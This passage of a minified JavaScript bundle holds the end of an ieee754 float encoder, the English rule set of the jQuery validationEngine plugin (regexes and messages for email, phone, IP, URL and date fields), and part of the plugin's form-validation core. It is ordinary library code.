u?NaN:(h?-1:1)*(1/0);u+=Math.pow(2,n),i-=f}return(h?-1:1)*u*Math.pow(2,i-n)},r.write=function(e,t,r,n,o,i){var u,a,s,f=8*i-o-1,c=(1<<f)-1,l=c>>1,d=23===o?Math.pow(2,-24)-Math.pow(2,-77):0,h=n?0:i-1,p=n?1:-1,g=0>t||0===t&&0>1/t?1:0;for(t=Math.abs(t),isNaN(t)||t===1/0?(a=isNaN(t)?1:0,u=c):(u=Math.floor(Math.log(t)/Math.LN2),t*(s=Math.pow(2,-u))<1&&(u--,s*=2),t+=u+l>=1?d/s:d*Math.pow(2,1-l),t*s>=2&&(u++,s/=2),u+l>=c?(a=0,u=c):u+l>=1?(a=(t*s-1)*Math.pow(2,o),u+=l):(a=t*Math.pow(2,l-1)*Math.pow(2,o),u=0));o>=8;e[r+h]=255&a,h+=p,a/=256,o-=8);for(u=u<<o|a,f+=o;f>0;e[r+h]=255&u,h+=p,u/=256,f-=8);e[r+h-p]|=128*g}}).call(this,e("lYpoI2"),"undefined"!=typeof self?self:"undefined"!=typeof window?window:{},e("buffer").Buffer,arguments[3],arguments[4],arguments[5],arguments[6],"/node_modules/ieee754/index.js","/node_modules/ieee754")},{buffer:3,lYpoI2:10}]},{},[1])(1)});; 82/* AUTOGENERATED: jquery.validationEngine-en.js */ 83!function(e){e.fn.validationEngineLanguage=function(){},e.validationEngineLanguage={newLang:function(){e.validationEngineLanguage.allRules={required:{regex:"none",alertText:"* This field is required",alertTextCheckboxMultiple:"* Please select an option",alertTextCheckboxe:"* This checkbox is required",alertTextDateRange:"* Both date range fields are required"},requiredInFunction:{func:function(e,a,t,d){return"test"==e.val()},alertText:"* Field must equal test"},dateRange:{regex:"none",alertText:"* Invalid ",alertText2:"Date Range"},dateTimeRange:{regex:"none",alertText:"* Invalid ",alertText2:"Date Time Range"},minSize:{regex:"none",alertText:"* Minimum ",alertText2:" characters required"},maxSize:{regex:"none",alertText:"* Maximum ",alertText2:" characters allowed"},groupRequired:{regex:"none",alertText:"* You must fill one of the following fields",alertTextCheckboxMultiple:"* Please select an option",alertTextCheckboxe:"* This checkbox is required"},min:{regex:"none",alertText:"* Minimum value is "},max:{regex:"none",alertText:"* Maximum value is "},past:{regex:"none",alertText:"* Date prior to "},future:{regex:"none",alertText:"* Date past "},maxCheckbox:{regex:"none",alertText:"* Maximum ",alertText2:" options allowed"},minCheckbox:{regex:"none",alertText:"* Please select ",alertText2:" options"},equals:{regex:"none",alertText:"* Fields do not match"},creditCard:{regex:"none",alertText:"* Invalid credit card number"},phone:{regex:/^([\+][0-9]{1,3}([ \.\-])?)?([\(][0-9]{1,6}[\)])?([0-9 \.\-]{1,32})(([A-Za-z \:]{1,11})?[0-9]{1,4}?)$/,alertText:"* Invalid phone number"},email:{regex:/^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/,alertText:"* Invalid email address"},fullname:{regex:/^([a-zA-Z]+[\'\,\.\-]?[a-zA-Z ]*)+[ ]([a-zA-Z]+[\'\,\.\-]?[a-zA-Z ]+)+$/,alertText:"* Must be first and last name"},zip:{regex:/^\d{5}$|^\d{5}-\d{4}$/,alertText:"* Invalid zip format"},integer:{regex:/^[\-\+]?\d+$/,alertText:"* Not a valid integer"},number:{regex:/^[\-\+]?((([0-9]{1,3})([,][0-9]{3})*)|([0-9]+))?([\.]([0-9]+))?$/,alertText:"* Invalid floating decimal number"},date:{func:function(e){var a=new RegExp(/^(\d{4})[\/\-\.](0?[1-9]|1[012])[\/\-\.](0?[1-9]|[12][0-9]|3[01])$/).exec(e.val());if(null==a)return!1;var t=a[1],d=+a[2],r=+a[3],l=new Date(t,d-1,r);return l.getFullYear()==t&&l.getMonth()==d-1&&l.getDate()==r},alertText:"* Invalid date, must be in YYYY-MM-DD format"},ipv4:{regex:/^((([01]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))[.]){3}(([0-1]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))$/,alertText:"* Invalid IP address"},ip:{regex:/((^\s*((([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]))\s*$)|(^\s*((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(%.+)?\s*$))/,alertText:"* Invalid IP address"},url:{regex:/^(https?|ftp):\/\/(((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:)*@)?(((\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5]))|((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?)(:\d*)?)(\/((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)+(\/(([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)*)*)?)?(\?((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|[\uE000-\uF8FF]|\/|\?)*)?(\#((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|\/|\?)*)?$/i,alertText:"* Invalid URL"},onlyNumberSp:{regex:/^[0-9\ ]+$/,alertText:"* Numbers only"},onlyLetterSp:{regex:/^[a-zA-Z\ \']+$/,alertText:"* Letters only"}
83,onlyLetterAccentSp:{regex:/^[a-z\u00C0-\u017F\ ]+$/i,alertText:"* Letters only (accents allowed)"},onlyLetterNumber:{regex:/^[0-9a-zA-Z]+$/,alertText:"* No special characters allowed"},ajaxUserCall:{url:"ajaxValidateFieldUser",extraData:"name=eric",alertText:"* This user is already taken",alertTextLoad:"* Validating, please wait"},ajaxUserCallPhp:{url:"phpajax/ajaxValidateFieldUser.php",extraData:"name=eric",alertTextOk:"* This username is available",alertText:"* This user is already taken",alertTextLoad:"* Validating, please wait"},ajaxNameCall:{url:"ajaxValidateFieldName",alertText:"* This name is already taken",alertTextOk:"* This name is available",alertTextLoad:"* Validating, please wait"},ajaxNameCallPhp:{url:"phpajax/ajaxValidateFieldName.php",alertText:"* This name is already taken",alertTextLoad:"* Validating, please wait"},validate2fields:{alertText:"* Please input HELLO"},dateFormat:{regex:/^\d{4}[\/\-](0?[1-9]|1[012])[\/\-](0?[1-9]|[12][0-9]|3[01])$|^(?:(?:(?:0?[13578]|1[02])(\/|-)31)|(?:(?:0?[1,3-9]|1[0-2])(\/|-)(?:29|30)))(\/|-)(?:[1-9]\d\d\d|\d[1-9]\d\d|\d\d[1-9]\d|\d\d\d[1-9])$|^(?:(?:0?[1-9]|1[0-2])(\/|-)(?:0?[1-9]|1\d|2[0-8]))(\/|-)(?:[1-9]\d\d\d|\d[1-9]\d\d|\d\d[1-9]\d|\d\d\d[1-9])$|^(0?2(\/|-)29)(\/|-)(?:(?:0[48]00|[13579][26]00|[2468][048]00)|(?:\d\d)?(?:0[48]|[2468][048]|[13579][26]))$/,alertText:"* Invalid Date"},dateTimeFormat:{regex:/^\d{4}[\/\-](0?[1-9]|1[012])[\/\-](0?[1-9]|[12][0-9]|3[01])\s+(1[012]|0?[1-9]){1}:(0?[1-5]|[0-6][0-9]){1}:(0?[0-6]|[0-6][0-9]){1}\s+(am|pm|AM|PM){1}$|^(?:(?:(?:0?[13578]|1[02])(\/|-)31)|(?:(?:0?[1,3-9]|1[0-2])(\/|-)(?:29|30)))(\/|-)(?:[1-9]\d\d\d|\d[1-9]\d\d|\d\d[1-9]\d|\d\d\d[1-9])$|^((1[012]|0?[1-9]){1}\/(0?[1-9]|[12][0-9]|3[01]){1}\/\d{2,4}\s+(1[012]|0?[1-9]){1}:(0?[1-5]|[0-6][0-9]){1}:(0?[0-6]|[0-6][0-9]){1}\s+(am|pm|AM|PM){1})$/,alertText:"* Invalid Date or Date Format",alertText2:"Expected Format: ",alertText3:"mm/dd/yyyy hh:mm:ss AM|PM or ",alertText4:"yyyy-mm-dd hh:mm:ss AM|PM"}}}},e.validationEngineLanguage.newLang()}(jQuery);; 84/* AUTOGENERATED: jquery.validationEngine.js */ 85!function(T){"use strict";var F={init:function(e){var t=this;return t.data("jqv")&&null!=t.data("jqv")||(e=F._saveOptions(t,e),T(document).on("click",".formError",function(){T(this).fadeOut(150,function(){T(this).closest(".formError").remove()})})),this},attach:function(e){var t,a=this;return(t=e?F._saveOptions(a,e):a.data("jqv")).validateAttribute=a.find("[data-validation-engine*=validate]").length?"data-validation-engine":"class",t.binded&&(a.on(t.validationEventTrigger,"["+t.validateAttribute+"*=validate]:not([type=checkbox]):not([type=radio]):not(.datepicker)",F._onFieldEvent),a.on("click","["+t.validateAttribute+"*=validate][type=checkbox],["+t.validateAttribute+"*=validate][type=radio]",F._onFieldEvent),a.on(t.validationEventTrigger,"["+t.validateAttribute+"*=validate][class*=datepicker]",{delay:300},F._onFieldEvent)),t.autoPositionUpdate&&T(window).bind("resize",{noAnimation:!0,formElem:a},F.updatePromptsPosition),a.on("click","a[data-validation-engine-skip], a[class*='validate-skip'], button[data-validation-engine-skip], button[class*='validate-skip'], input[data-validation-engine-skip], input[class*='validate-skip']",F._submitButtonClick),a.removeData("jqv_submitButton"),a.on("submit",F._onSubmitEvent),this},detach:function(){var e=this,t=e.data("jqv");return e.off(t.validationEventTrigger,"["+t.validateAttribute+"*=validate]:not([type=checkbox]):not([type=radio]):not(.datepicker)",F._onFieldEvent),e.off("click","["+t.validateAttribute+"*=validate][type=checkbox],["+t.validateAttribute+"*=validate][type=radio]",F._onFieldEvent),e.off(t.validationEventTrigger,"["+t.validateAttribute+"*=validate][class*=datepicker]",F._onFieldEvent),e.off("submit",F._onSubmitEvent),e.removeData("jqv"),e.off("click","a[data-validation-engine-skip], a[class*='validate-skip'], button[data-validation-engine-skip], button[class*='validate-skip'], input[data-validation-engine-skip], input[class*='validate-skip']",F._submitButtonClick),e.removeData("jqv_submitButton"),t.autoPositionUpdate&&T(window).off("resize",F.updatePromptsPosition),this},validate:function(e){var t,a=T(this),r=null;
85if(a.is("form")||a.hasClass("validationEngineContainer")){if(a.hasClass("validating"))return!1;a.addClass("validating"),t=e?F._saveOptions(a,e):a.data("jqv");r=F._validateFields(this);setTimeout(function(){a.removeClass("validating")},100),r&&t.onSuccess?t.onSuccess():!r&&t.onFailure&&t.onFailure()}else{if(!a.is("form")&&!a.hasClass("validationEngineContainer")){var i=a.closest("form, .validationEngineContainer");return t=i.data("jqv")?i.data("jqv"):T.validationEngine.defaults,(r=F._validateField(a,t))&&t.onFieldSuccess?t.onFieldSuccess():t.onFieldFailure&&0<t.InvalidFields.length&&t.onFieldFailure(),!r}a.removeClass("validating")}return t.onValidationComplete?!!t.onValidationComplete(i,r):r},updatePromptsPosition:function(e){if(e&&this==window)var r=e.data.formElem,i=e.data.noAnimation;else r=T(this.closest("form, .validationEngineContainer"));var o=r.data("jqv");return o||(o=F._saveOptions(r,o)),r.find("["+o.validateAttribute+"*=validate]").not(":disabled").each(function(){var e=T(this);o.prettySelect&&e.is(":hidden")&&(e=r.find("#"+o.usePrefix+e.attr("id")+o.useSuffix));var t=F._getPrompt(e),a=T(t).find(".formErrorContent").html();t&&F._updatePrompt(e,T(t),a,void 0,!1,o,i)}),this},showPrompt:function(e,t,a,r){var i=this.closest("form, .validationEngineContainer").data("jqv");return i||(i=F._saveOptions(this,i)),a&&(i.promptPosition=a),i.showArrow=1==r,F._showPrompt(this,e,t,!1,i),this},hide:function(){var e=T(this).closest("form, .validationEngineContainer"),t=e.data("jqv");t||(t=F._saveOptions(e,t));var a,r=t&&t.fadeDuration?t.fadeDuration:.3;
85return a=e.is("form")||e.hasClass("validationEngineContainer")?"parentForm"+F._getClassName(T(e).attr("id")):F._getClassName(T(e).attr("id"))+"formError",T("."+a).fadeTo(r,0,function(){T(this).closest(".formError").remove()}),this},hideAll:function(){var e=this.data("jqv"),t=e?e.fadeDuration:300;return T(".formError").fadeTo(t,0,function(){T(this).closest(".formError").remove()}),this},_onFieldEvent:function(e){var t=T(this),a=t.closest("form, .validationEngineContainer"),r=a.data("jqv");r||(r=F._saveOptions(a,r)),r.eventTrigger="field",1==r.notEmpty?0<t.val().length&&window.setTimeout(function(){F._validateField(t,r)},e.data?e.data.delay:0):window.setTimeout(function(){F._validateField(t,r)},e.data?e.data.delay:0)},_onSubmitEvent:function(){var e=T(this),t=e.data("jqv");if(e.data("jqv_submitButton")){var a=T("#"+e.data("jqv_submitButton"));if(a&&0<a.length&&(a.hasClass("validate-skip")||"true"==a.attr("data-validation-engine-skip")))return!0}t.eventTrigger="submit";var r=F._validateFields(e);return r&&t.ajaxFormValidation?(F._validateFormWithAjax(e,t),!1):t.onValidationComplete?!!t.onValidationComplete(e,r):r},_checkAjaxStatus:function(e){var a=!0;return T.each(e.ajaxValidCache,function(e,t){if(!t)return a=!1}),a},_checkAjaxFieldStatus:function(e,t){return 1==t.ajaxValidCache[e]},_validateFields:function(a){var r=a.data("jqv"),i=!1;a.trigger("jqv.form.validating");var o=null;if(a.find("["+r.validateAttribute+"*=validate]").not(":disabled").each(function(){var e=T(this),t=[];if(T.inArray(e.attr("name"),t)<0){if((i|=F._validateField(e,r))&&null==o&&(o=e.is(":hidden")&&r.prettySelect?e=a.find("#"+r.usePrefix+F._jqSelector(e.attr("id"))+r.useSuffix):(e.data("jqv-prompt-at")instanceof jQuery?e=e.data("jqv-prompt-at"):e.data("jqv-prompt-at")&&(e=T(e.data("jqv-prompt-at"))),e)),r.doNotShowAllErrosOnSubmit)return!1;if(t.push(e.attr("name")),1==r.showOneMessage&&i)return!1}}),a.trigger("jqv.form.result",[i]),i){if(r.scroll){var e=o.offset().top,t=o.offset().left,s=r.promptPosition;if("string"==typeof s&&-1!=s.indexOf(":")&&(s=s.substring(0,s.indexOf(":"))),"bottomRight"!=s&&"bottomLeft"!=s){var n=F._getPrompt(o);n&&(e=n.offset().top)}if(r.scrollOffset&&(e-=r.scrollOffset),r.isOverflown){var l=T(r.overflownDIV);if(!l.length)return!1;e+=l.scrollTop()+-parseInt(l.offset().top)-5,T(r.overflownDIV).filter(":not(:animated)").animate({scrollTop:e},1100,function(){r.focusFirstField&&o.focus()})}else T("html, body").animate({scrollTop:e},1100,function(){r.focusFirstField&&o.focus()}),T("html, body").animate({scrollLeft:t},1100)}else r.focusFirstField&&o.focus();return!1}return!0},_validateFormWithAjax:function(l,d){var e=l.serialize(),t=d.ajaxFormValidationMethod?d.ajaxFormValidationMethod:"GET",a=d.ajaxFormValidationURL?d.ajaxFormValidationURL:l.attr("action"),u=d.dataType?d.dataType:"json";T.ajax({type:t,url:a,cache:!1,dataType:u,data:e,form:l,methods:F,options:d,beforeSend:function(){return d.onBeforeAjaxFormValidation(l,d)},error:function(e,t){d.onFailure?d.onFailure(e,t):F._ajaxError(e,t)},success:function(e){if("json"==u&&!0!==e){for(var t=!1,a=0;a<e.length;a++){var r=e[a],i=r[0],o=T(T("#"+i)[0]);if(1==o.length){var s=r[2];if(1==r[1])if(""!=s&&s){if(d.allrules[s])(n=d.allrules[s].alertTextOk)&&(s=n);d.showPrompts&&F._showPrompt(o,s,"pass",!1,d,!0)}else F._closePrompt(o);else{var n;if(t|=!0,d.allrules[s])(n=d.allrules[s].alertText)&&(s=n);d.showPrompts&&F._showPrompt(o,s,"",!1,d,!0)}}}d.onAjaxFormComplete(!t,l,e,d)}else d.onAjaxFormComplete(!0,l,e,d)}})},_validateField:function(e,t,a){if(e.attr("id")||(e.attr("id","form-validation-field-"+T.validationEngine.fieldIdCounter),++T.validationEngine.fieldIdCounter),e.hasClass(t.ignoreFieldsWithClass))return!1;if(!t.validateNonVisibleFields&&(e.is(":hidden")&&!t.prettySelect||e.parent().is(":hidden")))return!1;var r=e.attr(t.validateAttribute),i=/validate\[(.*)\]/.exec(r);if(!i)return!1;var o=i[1],s=o.split(/\[|,|\]/),n=e.attr("name"),l="",d="",u=!1,c=!1;t.isError=!1,t.showArrow=1==t.showArrow,0<t.maxErrorsPerField&&(c=!0);for(var f=T(e.closest("form, .validationEngineContainer")),v=0;v<s.length;v++)s[v]=s[v].toString().replace(" ",""),""===s[v]&&delete s[v];v=0;for(var p=0;v<s.length;v++){if(c&&p>=t.maxErrorsPerField){if(!u){var m=T.inArray("required",s);u=-1!=m&&v<=m}break}var g=void 0;switch(s[v]){case"required":u=!0,g=F._getErrorMessage(f,e,s[v],s,v,t,F._required);break;
85case"custom":g=F._getErrorMessage(f,e,s[v],s,v,t,F._custom);break;case"groupRequired":var h="["+t.validateAttribute+"*="+s[v+1]+"]",x=f.find(h).eq(0);x[0]!=e[0]&&(F._validateField(x,t,a),t.showArrow=!0),(g=F._getErrorMessage(f,e,s[v],s,v,t,F._groupRequired))&&(u=!0),t.showArrow=!1;break;case"ajax":(g=F._ajax(e,s,v,t))&&(d="load");break;case"minSize":g=F._getErrorMessage(f,e,s[v],s,v,t,F._minSize);break;case"maxSize":g=F._getErrorMessage(f,e,s[v],s,v,t,F._maxSize);break;case"min":g=F._getErrorMessage(f,e,s[v],s,v,t,F._min);break;case"max":g=F._getErrorMessage(f,e,s[v],s,v,t,F._max);break;case"past":g=F._getErrorMessage(f,e,s[v],s,v,t,F._past);break;case"future":g=F._getErrorMessage(f,e,s[v],s,v,t,F._future);break;case"dateRange":h="["+t.validateAttribute+"*="+s[v+1]+"]";t.firstOfGroup=f.find(h).eq(0),t.secondOfGroup=f.find(h).eq(1),(t.firstOfGroup[0].value||t.secondOfGroup[0].value)&&(g=F._getErrorMessage(f,e,s[v],s,v,t,F._dateRange)),g&&(u=!0),t.showArrow=!1;break;case"dateTimeRange":h="["+t.validateAttribute+"*="+s[v+1]+"]";t.firstOfGroup=f.find(h).eq(0),t.secondOfGroup=f.find(h).eq(1),(t.firstOfGroup[0].value||t.secondOfGroup[0].value)&&(g=F._getErrorMessage(f,e,s[v],s,v,t,F._dateTimeRange)),g&&(u=!0),t.showArrow=!1;break;case"maxCheckbox":e=T(f.find("input[name='"+n+"']")),g=F._getErrorMessage(f,e,s[v],s,v,t,F._maxCheckbox);break;case"minCheckbox":e=T(f.find("input[name='"+n+"']")),g=F._getErrorMessage(f,e,s[v],s,v,t,F._minCheckbox);break;case"equals":g=F._getErrorMessage(f,e,s[v],s,v,t,F._equals);break;case"funcCall":g=F._getErrorMessage(f,e,s[v],s,v,t,F._funcCall);break;case"creditCard":g=F._getErrorMessage(f,e,s[v],s,v,t,F._creditCard);break;case"condRequired":void 0!==(g=F._getErrorMessage(f,e,s[v],s,v,t,F._condRequired))&&(u=!0);break;case"funcCallRequired":void 0!==(g=F._getErrorMessage(f,e,s[v],s,v,t,F._funcCallRequired))&&(u=!0)}var _=!1;if("object"==typeof g)switch(g.status){case"_break":_=!0;break;case"_error":g=g.message;break;case"_error_no_prompt":return!0}if(0==v&&0==o.indexOf("funcCallRequired")&&void 0!==g&&(""!=l&&(l+="<br/>"),l+=g,p++,_=t.isError=!0),_)break;"string"==typeof g&&(""!=l&&(l+="<br/>"),l+=g,t.isError=!0,p++)}!u&&!e.val()&&e.val().length<1&&T.inArray("equals",s)<0&&(t.isError=!1);var C=e.prop("type"),b=e.data("promptPosition")||t.promptPosition;("radio"==C||"checkbox"==C)&&1<f.find("input[name='"+n+"']").length&&(e=T("inline"===b?f.find("input[name='"+n+"'][type!=hidden]:last"):f.find("input[name='"+n+"'][type!=hidden]:first")),t.showArrow=t.showArrowOnRadioAndCheckbox),e.is(":hidden")&&t.prettySelect&&(e=f.find("#"+t.usePrefix+F._jqSelector(e.attr("id"))+t.useSuffix)),t.isError&&t.showPrompts?F._showPrompt(e,l,d,!1,t):F._closePrompt(e),e.trigger("jqv.field.result",[e,t.isError,l]);var E=T.inArray(e[0],t.InvalidFields);return-1==E?t.isError&&t.InvalidFields.push(e[0]):t.isError||t.InvalidFields.splice(E,1),F._handleStatusCssClasses(e,t),t.isError&&t.onFieldFailure&&t.onFieldFailure(e),!t.isError&&t.onFieldSuccess&&t.onFieldSuccess(e),t.isError},_handleStatusCssClasses:function(e,t){t.addSuccessCssClassToField&&e.removeClass(t.addSuccessCssClassToField),t.addFailureCssClassToField&&e.removeClass(t.addFailureCssClassToField),t.addSuccessCssClassToField&&!t.isError&&e.addClass(t.addSuccessCssClassToField),t.addFailureCssClassToField&&t.isError&&e.addClass(t.addFailureCssClassToField)},_getErrorMessage:function(e,t,a,r,i,o,s){var n=jQuery.inArray(a,r);"custom"!==a&&"funcCall"!==a&&"funcCallRequired"!==a||(a=a+"["+r[n+1]+"]",delete r[n]);var l,d=a,u=(t.attr("data-validation-engine")?t.attr("data-validation-engine"):t.attr("class")).split(" ");if(null!=(l="future"==a||"past"==a||"maxCheckbox"==a||"minCheckbox"==a?s(e,t,r,i,o):s(t,r,i,o))){var c=F._getCustomErrorMessage(T(t),u,d,o);c&&(l=c)}return l},_getCustomErrorMessage:function(e,t,a,r){var i=!1,o=/^custom\[.*\]$/.test(a)?F._validityProp.custom:F._validityProp[a];if(null!=o&&null!=(i=e.attr("data-errormessage-"+o)))return i;if(null!=(i=e.attr("data-errormessage")))return i;var s="#"+e.attr("id");if(void 0!==r.custom_error_messages[s]&&void 0!==r.custom_error_messages[s][a])i=r.custom_error_messages[s][a].message;else if(0<t.length)for(var n=0;n<t.length&&0<t.length;n++){var l="."+t[n];if(void 0!==r.custom_error_messages[l]&&void 0!==r.custom_error_messages[l][a]){i=r.custom_error_messages[l][a].message;break}}return i||void 0===r.custom_error_messages[a]||void 0===r.custom_error_messages[a].message||(i=r.custom_error_messages[a].message),i},_validityProp:{required:"value-missing",custom:"custom-error",groupRequired:"value-missing",ajax:"custom-error",minSize:"range-underflow",maxSize:"range-overflow",min:"range-underflow",max:"range-overflow",past:"type-mismatch",future:"type-mismatch",dateRange:"type-mismatch",dateTimeRange:"type-mismatch",maxCheckbox:"range-overflow",minCheckbox:"range-underflow",equals:"pattern-mismatch",funcCall:"custom-error",funcCallRequired:"custom-error",creditCard:"pattern-mismatch",condRequired:"value-missing"},_required:function(e,t,a,r,i){switch(e.prop("type")){case"radio":case"checkbox":if(i){if(!e.prop("checked"))return r.allrules[t[a]].alertTextCheckboxMultiple;break}var o=e.closest("form, .validationEngineContainer"),s=e.attr("name");if(0==o.find("input[name='"+s+"']:checked").length)return 1==o.find("input[name='"+s+"']:visible").length?r.allrules[t[a]].alertTextCheckboxe:r.allrules[t[a]].alertTextCheckboxMultiple;break;case"text":case"password":case"textarea":case"file":case"select-one":case"select-multiple":default:var n=T.trim(e.val()),l=T.trim(e.attr("data-validation-placeholder")),d=T.trim(e.attr("placeholder"));if(!n||l&&n==l||d&&n==d)return r.allrules[t[a]].alertText}},_groupRequired:function(e,t,a,r){var i="["+r.validateAttribute+"*="+t[a+1]+"]",o=!1;if(e.closest("form, .validationEngineContainer").find(i).each(function(){if(!F._required(T(this),t,a,r))return!(o=!0)}),!o)return r.allrules[t[a]].alertText},_custom:function(e,t,a,r){var i,o=t[a+1],s=r.allrules[o];if(s)if(s.regex){var n=s.regex;if(!n)return void alert("jqv:custom regex not found - "+o);if(!new RegExp(n).test(e.val()))return r.allrules[o].alertText}else{if(!s.func)return void alert("jqv:custom type not allowed "+o);if("function"!=typeof(i=s.func))return void alert("jqv:custom parameter 'function' is no function - "+o);if(!i(e,t,a,r))return r.allrules[o].alertText}else alert("jqv:custom rule not found - "+o)},_funcCall:function(e,t,a,r){var i,o=t[a+1];if(-1<o.indexOf(".")){for(var s=o.split("."),n=window;s.length;)n=n[s.shift()];i=n}else i=window[o]||r.customFunctions[o];if("function"==typeof i)return i(e,t,a,r)},_funcCallRequired:function(e,t,a,r){return F._funcCall(e,t,a,r)},_equals:function(e,t,a,r){var i=t[a+1];if(e.val()!=T("#"+i).val())return r.allrules.equals.alertText},_maxSize:function(e,t,a,r){var i=t[a+1];if(i<e.val().length){var o=r.allrules.maxSize;return o.alertText+i+o.alertText2}},_minSize:function(e,t,a,r){var i=t[a+1];if(e.val().length<i){var o=r.allrules.minSize;return o.alertText+i+o.alertText2}},_min:function(e,t,a,r){var i=parseFloat(t[a+1]);if(parseFloat(e.val())<i){var o=r.allrules.min;return o.alertText2?o.alertText+i+o.alertText2:o.alertText+i}},_max:function(e,t,a,r){var i=parseFloat(t[a+1]);
85if(i<parseFloat(e.val())){var o=r.allrules.max;return o.alertText2?o.alertText+i+o.alertText2:o.alertText+i}},_past:function(e,t,a,r,i){var o,s=a[r+1],n=T(e.find("*[name='"+s.replace(/^#+/,"")+"']"));if("now"==s.toLowerCase())o=new Date;else if(null!=n.val()){if(n.is(":disabled"))return;o=F._parseDate(n.val())}else o=F._parseDate(s);if(o<F._parseDate(t.val())){var l=i.allrules.past;return l.alertText2?l.alertText+F._dateToString(o)+l.alertText2:l.alertText+F._dateToString(o)}},_future:function(e,t,a,r,i){var o,s=a[r+1],n=T(e.find("*[name='"+s.replace(/^#+/,"")+"']"));if("now"==s.toLowerCase())o=new Date;else if(null!=n.val()){if(n.is(":disabled"))return;o=F._parseDate(n.val())}else o=F._parseDate(s);if(F._parseDate(t.val())<o){var l=i.allrules.future;return l.alertText2?l.alertText+F._dateToString(o)+l.alertText2:l.alertText+F._dateToString(o)}},_isDate:function(e){return new RegExp(/^\d{4}[\/\-](0?[1-9]|1[012])[\/\-](0?[1-9]|[12][0-9]|3[01])$|^(?:(?:(?:0?[13578]|1[02])(\/|-)31)|(?:(?:0?[1,3-9]|1[0-2])(\/|-)(?:29|30)))(\/|-)(?:[1-9]\d\d\d|\d[1-9]\d\d|\d\d[1-9]\d|\d\d\d[1-9])$|^(?:(?:0?[1-9]|1[0-2])(\/|-)(?:0?[1-9]|1\d|2[0-8]))(\/|-)(?:[1-9]\d\d\d|\d[1-9]\d\d|\d\d[1-9]\d|\d\d\d[1-9])$|^(0?2(\/|-)29)(\/|-)(?:(?:0[48]00|[13579][26]00|[2468][048]00)|(?:\d\d)?(?:0[48]|[2468][048]|[13579][26]))$/).test(e)},_isDateTime:function(e){return new 